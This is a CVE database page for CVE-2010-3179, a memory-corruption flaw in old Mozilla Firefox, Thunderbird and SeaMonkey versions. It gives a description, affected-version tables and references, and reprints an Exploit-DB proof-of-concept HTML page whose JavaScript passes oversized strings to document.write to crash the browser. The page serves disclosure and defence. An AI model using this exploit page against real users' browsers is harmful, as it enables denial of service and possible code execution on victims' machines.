CVE-2010-3179
Description
Stack-based buffer overflow in the text-rendering functionality in Mozilla Firefox before 3.5.14 and 3.6.x before 3.6.11, Thunderbird before 3.0.9 and 3.1.x before 3.1.5, and SeaMonkey before 2.0.9 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a long argument to the document.write method.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Mozilla Firefox SeaMonkey 3.6.10 / Thunderbird 3.1.4 - 'document.write' Memory Corruption
source: https://www.securityfocus.com/bid/44247/info
Mozilla Firefox, Thunderbird, and Seamonkey are prone to a memory-corruption vulnerability because they fail to adequately validate user-supplied data.
Successful exploits may allow an attacker to execute arbitrary code in the context of the user running an affected application. Failed exploit attempts will result in a denial-of-service condition.
This issue affects versions prior to:
Firefox 3.6.11
Firefox 3.5.14
Thunderbird 3.1.5
Thunderbird 3.0.9
SeaMonkey 2.0.9
NOTE: This issue was previously discussed in 44228 (Mozilla Firefox/Thunderbird/SeaMonkey MFSA 2010-64/65/66/67/68/69/71/72 Multiple Vulnerabilities) but has been given its own record to better document it.
<html>
<head>
<script language="JavaScript" type="Text/Javascript">
var eip = unescape("%u4141%u4141");
var string2 = unescape("%u0000%u0000");
var finalstring2 = expand(string2, 49000000);
var finaleip = expand(eip, 21000001);
document.write(finalstring2);
document.write(finaleip);
function expand(string, number) {
var i = Math.ceil(Math.log(number) / Math.LN2),
result = string;
do {
result += result;
} while (0 < --i);
return result.slice(0, string.length * number);
}
</script>
</head>
<body>
</body>
</html>
<html><body></body></html>
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| mozilla | firefox | 3.6 | |
| mozilla | firefox | 3.6.2 | |
| mozilla | firefox | 3.6.3 | |
| mozilla | firefox | 3.6.4 | |
| mozilla | firefox | 3.6.6 | |
| mozilla | firefox | 3.6.7 | |
| mozilla | firefox | 3.6.8 | |
| mozilla | firefox | 3.6.9 | |
| mozilla | firefox | 3.6.10 | |
| mozilla | seamonkey | {"endIncluding":"2.0.8"} | |
| mozilla | seamonkey | 1.0 | |
| mozilla | seamonkey | 1.0.1 | |
| mozilla | seamonkey | 1.0.2 | |
| mozilla | seamonkey | 1.0.3 | |
| mozilla | seamonkey | 1.0.4 | |
| mozilla | seamonkey | 1.0.5 | |
| mozilla | seamonkey | 1.0.6 | |
| mozilla | seamonkey | 1.0.7 | |
| mozilla | seamonkey | 1.0.8 | |
| mozilla | seamonkey | 1.0.9 | |
| mozilla | seamonkey | 1.1 | |
| mozilla | seamonkey | 1.1.1 | |
| mozilla | seamonkey | 1.1.2 | |
| mozilla | seamonkey | 1.1.3 | |
| mozilla | seamonkey | 1.1.4 | |
| mozilla | seamonkey | 1.1.5 | |
| mozilla | seamonkey | 1.1.6 | |
| mozilla | seamonkey | 1.1.7 | |
| mozilla | seamonkey | 1.1.8 | |
| mozilla | seamonkey | 1.1.9 | |
| mozilla | seamonkey | 1.1.10 | |
| mozilla | seamonkey | 1.1.11 | |
| mozilla | seamonkey | 1.1.12 | |
| mozilla | seamonkey | 1.1.13 | |
| mozilla | seamonkey | 1.1.14 | |
| mozilla | seamonkey | 1.1.15 | |
| mozilla | seamonkey | 1.1.16 | |
| mozilla | seamonkey | 1.1.17 | |
| mozilla | seamonkey | 1.1.18 | |
| mozilla | seamonkey | 1.1.19 | |
| mozilla | seamonkey | 1.5.0.8 | |
| mozilla | seamonkey | 1.5.0.9 | |
| mozilla | seamonkey | 1.5.0.10 | |
| mozilla | seamonkey | 2.0 | |
| mozilla | seamonkey | 2.0.1 | |
| mozilla | seamonkey | 2.0.2 | |
| mozilla | seamonkey | 2.0.3 | |
| mozilla | seamonkey | 2.0.4 | |
| mozilla | seamonkey | 2.0.5 | |
| mozilla | seamonkey | 2.0.6 | |
| mozilla | seamonkey | 2.0.7 | |
| mozilla | thunderbird | {"endIncluding":"3.0.8"} | |
| mozilla | thunderbird | 0.1 | |
| mozilla | thunderbird | 0.2 | |
| mozilla | thunderbird | 0.3 | |
| mozilla | thunderbird | 0.4 | |
| mozilla | thunderbird | 0.5 | |
| mozilla | thunderbird | 0.6 | |
| mozilla | thunderbird | 0.7 | |
| mozilla | thunderbird | 0.7.1 | |
| mozilla | thunderbird | 0.7.2 | |
| mozilla | thunderbird | 0.7.3 | |
| mozilla | thunderbird | 0.8 | |
| mozilla | thunderbird | 0.9 | |
| mozilla | thunderbird | 1.0 | |
| mozilla | thunderbird | 1.0.1 | |
| mozilla | thunderbird | 1.0.2 | |
| mozilla | thunderbird | 1.0.3 | |
| mozilla | thunderbird | 1.0.4 | |
| mozilla | thunderbird | 1.0.5 | |
| mozilla | thunderbird | 1.0.6 | |
| mozilla | thunderbird | 1.0.7 | |
| mozilla | thunderbird | 1.0.8 | |
| mozilla | thunderbird | 1.5 | |
| mozilla | thunderbird | 1.5.0.1 | |
| mozilla | thunderbird | 1.5.0.2 | |
| mozilla | thunderbird | 1.5.0.3 | |
| mozilla | thunderbird | 1.5.0.4 | |
| mozilla | thunderbird | 1.5.0.5 | |
| mozilla | thunderbird | 1.5.0.6 | |
| mozilla | thunderbird | 1.5.0.7 | |
| mozilla | thunderbird | 1.5.0.8 | |
| mozilla | thunderbird | 1.5.0.9 | |
| mozilla | thunderbird | 1.5.0.10 | |
| mozilla | thunderbird | 1.5.0.11 | |
| mozilla | thunderbird | 1.5.0.12 | |
| mozilla | thunderbird | 1.5.0.13 | |
| mozilla | thunderbird | 1.5.0.14 | |
| mozilla | thunderbird | 1.5.1 | |
| mozilla | thunderbird | 1.5.2 | |
| mozilla | thunderbird | 2.0 | |
| mozilla | thunderbird | 2.0.0.0 | |
| mozilla | thunderbird | 2.0.0.1 | |
| mozilla | thunderbird | 2.0.0.2 | |
| mozilla | thunderbird | 2.0.0.3 | |
| mozilla | thunderbird | 2.0.0.4 | |
| mozilla | thunderbird | 2.0.0.5 | |
| mozilla | thunderbird | 2.0.0.6 | |
| mozilla | thunderbird | 2.0.0.7 | |
| mozilla | thunderbird | 2.0.0.8 | |
| mozilla | thunderbird | 2.0.0.9 | |
| mozilla | thunderbird | 2.0.0.12 | |
| mozilla | thunderbird | 2.0.0.14 | |
| mozilla | thunderbird | 2.0.0.16 | |
| mozilla | thunderbird | 2.0.0.17 | |
| mozilla | thunderbird | 2.0.0.18 | |
| mozilla | thunderbird | 2.0.0.19 | |
| mozilla | thunderbird | 2.0.0.21 | |
| mozilla | thunderbird | 2.0.0.22 | |
| mozilla | thunderbird | 2.0.0.23 | |
| mozilla | thunderbird | 3.0 | |
| mozilla | thunderbird | 3.0.1 | |
| mozilla | thunderbird | 3.0.2 | |
| mozilla | thunderbird | 3.0.3 | |
| mozilla | thunderbird | 3.0.4 | |
| mozilla | thunderbird | 3.0.5 | |
| mozilla | thunderbird | 3.0.6 | |
| mozilla | thunderbird | 3.0.7 | |
| mozilla | firefox | {"endIncluding":"3.5.13"} | |
| mozilla | firefox | 1.0 | |
| mozilla | firefox | 1.0.1 | |
| mozilla | firefox | 1.0.2 | |
| mozilla | firefox | 1.0.3 | |
| mozilla | firefox | 1.0.4 | |
| mozilla | firefox | 1.0.5 | |
| mozilla | firefox | 1.0.6 | |
| mozilla | firefox | 1.0.7 | |
| mozilla | firefox | 1.0.8 | |
| mozilla | firefox | 1.5 | |
| mozilla | firefox | 1.5.0.1 | |
| mozilla | firefox | 1.5.0.2 | |
| mozilla | firefox | 1.5.0.3 | |
| mozilla | firefox | 1.5.0.4 | |
| mozilla | firefox | 1.5.0.5 | |
| mozilla | firefox | 1.5.0.6 | |
| mozilla | firefox | 1.5.0.7 | |
| mozilla | firefox | 1.5.0.8 | |
| mozilla | firefox | 1.5.0.9 | |
| mozilla | firefox | 1.5.0.10 | |
| mozilla | firefox | 1.5.0.11 | |
| mozilla | firefox | 1.5.0.12 | |
| mozilla | firefox | 1.5.1 | |
| mozilla | firefox | 1.5.2 | |
| mozilla | firefox | 1.5.3 | |
| mozilla | firefox | 1.5.4 | |
| mozilla | firefox | 1.5.5 | |
| mozilla | firefox | 1.5.6 | |
| mozilla | firefox | 1.5.7 | |
| mozilla | firefox | 1.5.8 | |
| mozilla | firefox | 2.0 | |
| mozilla | firefox | 2.0.0.1 | |
| mozilla | firefox | 2.0.0.2 | |
| mozilla | firefox | 2.0.0.3 | |
| mozilla | firefox | 2.0.0.4 | |
| mozilla | firefox | 2.0.0.5 | |
| mozilla | firefox | 2.0.0.6 | |
| mozilla | firefox | 2.0.0.7 | |
| mozilla | firefox | 2.0.0.8 | |
| mozilla | firefox | 2.0.0.9 | |
| mozilla | firefox | 2.0.0.10 | |
| mozilla | firefox | 2.0.0.11 | |
| mozilla | firefox | 2.0.0.12 | |
| mozilla | firefox | 2.0.0.13 | |
| mozilla | firefox | 2.0.0.14 | |
| mozilla | firefox | 2.0.0.15 | |
| mozilla | firefox | 2.0.0.16 | |
| mozilla | firefox | 2.0.0.17 | |
| mozilla | firefox | 2.0.0.18 | |
| mozilla | firefox | 2.0.0.19 | |
| mozilla | firefox | 2.0.0.20 | |
| mozilla | firefox | 3.0 | |
| mozilla | firefox | 3.0.1 | |
| mozilla | firefox | 3.0.2 | |
| mozilla | firefox | 3.0.3 | |
| mozilla | firefox | 3.0.4 | |
| mozilla | firefox | 3.0.5 | |
| mozilla | firefox | 3.0.6 | |
| mozilla | firefox | 3.0.7 | |
| mozilla | firefox | 3.0.8 | |
| mozilla | firefox | 3.0.9 | |
| mozilla | firefox | 3.0.10 | |
| mozilla | firefox | 3.0.11 | |
| mozilla | firefox | 3.0.12 | |
| mozilla | firefox | 3.0.13 | |
| mozilla | firefox | 3.0.14 | |
| mozilla | firefox | 3.0.15 | |
| mozilla | firefox | 3.0.16 | |
| mozilla | firefox | 3.0.17 | |
| mozilla | firefox | 3.5 | |
| mozilla | firefox | 3.5.1 | |
| mozilla | firefox | 3.5.2 | |
| mozilla | firefox | 3.5.3 | |
| mozilla | firefox | 3.5.4 | |
| mozilla | firefox | 3.5.5 | |
| mozilla | firefox | 3.5.6 | |
| mozilla | firefox | 3.5.7 | |
| mozilla | firefox | 3.5.8 | |
| mozilla | firefox | 3.5.9 | |
| mozilla | firefox | 3.5.10 | |
| mozilla | firefox | 3.5.11 | |
References
- http://blogs.sun.com/security/entry/multiple_vulnerabilities_in_mozilla_firefox
- http://lists.fedoraproject.org/pipermail/package-announce/2010-October/050077.html
- http://lists.fedoraproject.org/pipermail/package-announce/2010-October/050154.html
- http://secunia.com/advisories/42867
- http://support.avaya.com/css/P8/documents/100120156
- http://www.debian.org/security/2010/dsa-2124
- http://www.mandriva.com/security/advisories?name=MDVSA-2010:210
- http://www.mandriva.com/security/advisories?name=MDVSA-2010:211
- http://www.mozilla.org/security/announce/2010/mfsa2010-65.html
- http://www.redhat.com/support/errata/RHSA-2010-0782.html
- http://www.redhat.com/support/errata/RHSA-2010-0861.html
- http://www.redhat.com/support/errata/RHSA-2010-0896.html
- http://www.ubuntu.com/usn/USN-997-1
- http://www.ubuntu.com/usn/USN-998-1
- http://www.vupen.com/english/advisories/2011/0061
- https://bugzilla.mozilla.org/show_bug.cgi?id=583077
- https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A11675
- http://blogs.sun.com/security/entry/multiple_vulnerabilities_in_mozilla_firefox
- http://lists.fedoraproject.org/pipermail/package-announce/2010-October/050077.html
- http://lists.fedoraproject.org/pipermail/package-announce/2010-October/050154.html
- http://secunia.com/advisories/42867
- http://support.avaya.com/css/P8/documents/100120156
- http://www.debian.org/security/2010/dsa-2124
- http://www.mandriva.com/security/advisories?name=MDVSA-2010:210
- http://www.mandriva.com/security/advisories?name=MDVSA-2010:211
CWEs
CWE-119
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.